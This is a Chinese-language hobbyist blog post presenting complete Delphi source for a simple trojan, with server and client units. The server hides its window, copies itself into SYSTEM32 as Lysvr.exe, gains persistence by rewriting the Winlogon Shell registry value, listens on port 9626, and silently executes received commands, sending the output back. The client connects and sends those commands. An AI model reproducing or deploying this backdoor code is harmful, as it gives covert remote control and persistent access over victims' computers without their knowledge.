刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！

　　程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。

 

　　源码如下：

////Server.pas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

type
TFmMain = class(TForm)
  SS: TServerSocket;
  Memo1: TMemo;
  procedure FormCreate(Sender: TObject);
  procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
  procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
  { Private declarations }
public
  { Public declarations }
end;

var
FmMain: TFmMain;
reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200;       //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
  reg.WriteString('Shell','Explorer.exe Lysvr.exe');   //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
  copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

SS.Port:=9626;
try
  SS.Active:=True;
except
end;
end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功');   //发现有连接时回传‘连接成功 ’
end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
  socket.SendText('不能创建管道');
  exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
  socket.SendText('不能创建进程');
  FreeMem(ph);
  FreeMem(fname);
  Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
  ph[cchReadbuffer]:=chr(0);
  Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
  Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph);   //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type
TFmMain = class(TForm)
  WebBrowser1: TWebBrowser;
  Label3: TLabel;
  Edit2: TEdit;
  Label4: TLabel;
  Edit3: TEdit;
  Button2: TButton;
  CS: TClientSocket;
  Edit4: TEdit;
  Label5: TLabel;
  Memo1: TMemo;
  BitBtn2: TBitBtn;
  procedure Button2Click(Sender: TObject);
  procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
  procedure BitBtn2Click(Sender: TObject);
private
  { Private declarations }
public
  { Public declarations }
end;

var
FmMain: TFmMain;

implementation

{$R *.dfm}

procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;

procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;

procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;

end.

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